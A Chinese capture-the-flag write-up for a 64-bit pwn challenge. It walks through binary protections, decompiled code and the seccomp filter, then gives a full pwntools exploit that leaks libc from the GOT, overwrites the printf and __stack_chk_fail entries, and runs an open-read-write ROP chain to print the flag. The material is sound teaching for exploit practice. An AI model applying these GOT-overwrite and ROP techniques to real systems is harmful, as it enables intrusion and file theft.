chal
chal.zip - 蓝奏云
下面是拿到题目的一些前期工作:
$ file ./pwn
./pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/home/tracs/PWN/FS_PWN/chal/ld.so, for GNU/Linux 3.2.0, BuildID[sha1]=69fabef4050d3fce91d82e06a4720eda3b7c74de, stripped
$ patchelf --interpreter /home/tracs/PWN/FS_PWN/chal/ld.so ./pwn
$ patchelf --replace-needed libc.so.6 ./libc.so ./pwn
$ ldd pwn
linux-vdso.so.1 (0x00007ffea036e000)
./libc.so (0x00007b54c4600000)
/home/tracs/PWN/FS_PWN/chal/ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007b54c492f000)
$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/chal/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/tracs/PWN/FS_PWN/chal/'
SHSTK: Enabled
IBT: Enabled
关键:64位文件,提供了libc库,got表可写,No PIE,存在Canary。
下面是IDA内的伪代码(已修改部分函数和变量名):
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
int choice; // [rsp+8h] [rbp-38h] BYREF
int i; // [rsp+Ch] [rbp-34h]
char *s; // [rsp+10h] [rbp-30h]
void *buf; // [rsp+18h] [rbp-28h]
char v12[5]; // [rsp+26h] [rbp-1Ah] BYREF
char format[13]; // [rsp+2Bh] [rbp-15h] BYREF
unsigned __int64 v14; // [rsp+38h] [rbp-8h]
v14 = __readfsqword(0x28u);
strcpy(format, "bad choice!\n");
init_0();
sanbox(a1, (__int64)a2, v3, v4, v5, v6);
for ( i = 0; ; ++i )
{
if ( i > 3 )
exit(0);
choice = 0;
menu(); // 1. Read
// 2. Write
// 3. Exit
__isoc99_scanf("%d", &choice);
if ( choice == 3 )
exit(0);
if ( choice > 3 )
break;
if ( choice == 1 )
{
buf = (void *)read_num();
read(0, buf, 4uLL);
}
else
{
if ( choice != 2 )
break;
s = (char *)read_num();
puts(s);
}
}
strcpy(v12, "bye\n");
printf(format);
printf(v12);
return 0LL;
}
ssize_t menu()
{
write(1, "1. Read\n", 8uLL);
write(1, "2. Write\n", 9uLL);
return write(1, "3. Exit\n", 8uLL);
}
int read_num()
{
char buf[16]; // [rsp+0h] [rbp-30h] BYREF
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
strcpy(s, "where u want to get?");
puts(s);
read(0, buf, 0x10uLL);
return atoi(buf);
}
关键:存在任意地址写入和读取,可与No PIE结合利用,修改got表或通过读取got表泄露libc地址,但总共可利用4次(但第4次使用后会触发exit,除非修改got.exit,否则将只有3次利用机会);同时发现sanbox存在。
seccomp-tools扫描结果如下:
$ seccomp-tools dump ./pwn
init...
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL
发现只能构造ORW的ROP链,但源程序无溢出漏洞并存在Canary检查,故需要先创造溢出漏洞并躲过Canary检查。
寻找gadget构造ROP链:
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rdi"
0x000000000002a745 : pop rdi ; pop rbp ; ret
0x000000000002a3e5 : pop rdi ; ret
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rsi"
0x000000000002a743 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000002a3e3 : pop rsi ; pop r15 ; ret
0x000000000002be51 : pop rsi ; ret
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "pop|ret" | grep "rdx"
0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000011f2e7 : pop rdx ; pop r12 ; ret
0x00000000000904a9 : pop rdx ; pop rbx ; ret
0x0000000000108b03 : pop rdx ; pop rcx ; pop rbx ; ret
0x00000000000a5722 : pop rdx ; ret 0x13
0x0000000000170337 : pop rdx ; ret 6
tracs@A:~/PWN/FS_PWN/chal$ ROPgadget --binary ./libc.so --only "syscall"
Gadgets information
============================================================
0x0000000000029db4 : syscall
Unique gadgets found: 1
发现rax、rdi、rsi、rdx都有合适的gadget,但是syscall没有合适的gatget。
下面补充知识点,在libc库的read函数内存在一段合适的syscall_ret:
.text:00000000001147E0 syscall ; LINUX -
.text:00000000001147E2 cmp rax, 0FFFFFFFFFFFFF000h
.text:00000000001147E8 ja short loc_114840
.text:00000000001147EA retn
此处当rax在-1到-0x1000内时,会跳转,绝大对数情况不会跳转,可以直接当syscall_ret使用。
exp如下:
from pwn import *
context(arch='amd64',os='linux')
context.log_level='debug'
pwn='./pwn'
elf=ELF(pwn)
libc=elf.libc
LOCAL=True
if LOCAL:
io=process(pwn)
else:
io=remote('xxxxx',12345)
def dbg():
gdb.attach(io)
pause()
# Step 1: 泄露puts地址,计算libc基址
io.recvuntil(b'3. Exit\n')
io.sendline(b'2')
io.sendlineafter(b'where u want to get?\n', b'4210712') # got.puts=0x404018=4210712
puts_addr=u64(io.recv(6).strip().ljust(8,b'\x00'))
success(f"puts_addr : {hex(puts_addr)}")
libc_addr=puts_addr-libc.sym['puts']
success(f"libc_addr : {hex(libc_addr)}")
gets_addr=libc_addr+libc.sym['gets']
success(f"gets_addr : {hex(gets_addr)}")
gets_4=gets_addr&0xffffffff
success(f"gets_4 : {hex(gets_4)}")
# Step 2: 覆盖got.printf为got.gets,创造溢出机会;覆盖got.__stack_chk_fail为ret_addr,躲过Canary的检测
io.recvuntil(b'3. Exit\n')
io.sendline(b'1')
io.recvuntil(b'where u want to get?\n')
io.sendline(b'4210736') # got.printf=0x404030=4210736
io.send(p32(gets_4)) # 只接收4字节
io.recvuntil(b'3. Exit\n')
io.sendline(b'1')
io.recvuntil(b'where u want to get?\n')
io.sendline(b'4210728') # got.__stack_chk_fail=0x404028=4210728
ret_addr=0x4016BB
io.send(p32(ret_addr))
# Step 3: 触发构造的溢出,构造ROP链,ORW读取flag
io.recvuntil(b'3. Exit\n')
io.sendline(b'4') # 不要输入3调用exit,会跳过溢出触发 $$$ 此处发送4的同时还会附带一个'\n',而scanf会将'\n'留在缓冲区中,导致gets函数在读取输入时会先读取到这个'\n',从而提前结束输入。
syscall=libc_addr+0x1147E0
pop_rdi=libc_addr+0x2a3e5
pop_rsi=libc_addr+0x2be51
pop_rax_rdx_rbx=libc_addr+0x904a8 # 0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
def ROP_pay(ax,di,si,dx):
pay=p64(pop_rdi)+p64(di,signed=True)
pay+=p64(pop_rsi)+p64(si)
pay+=p64(pop_rax_rdx_rbx)+p64(ax)+p64(dx)+p64(0)
pay+=p64(syscall)
return pay
offest=0x1a+8
flag_addr=0x404800
buf_addr=0x404900
payload_1=b'a'*offest
payload_1+=ROP_pay(0,0,flag_addr,4) # 先把字符串'flag'写到bss段
payload_1+=ROP_pay(257,-100,flag_addr,0x100) # 在当前目录打开名为'flag'的文件
payload_1+=ROP_pay(0,3,buf_addr,0x100) # 把文件'flag'的内容写到bss段
payload_1+=ROP_pay(1,1,buf_addr,0x100) # 把flag写到标准输出
pause()
io.sendline(payload_1) # 源程序for循环外面有两个gets(原printf),但第一个接收了上文$$$处的'\n'。
pause()
io.send(b'flag')
io.interactive()

浙公网安备 33010602011771号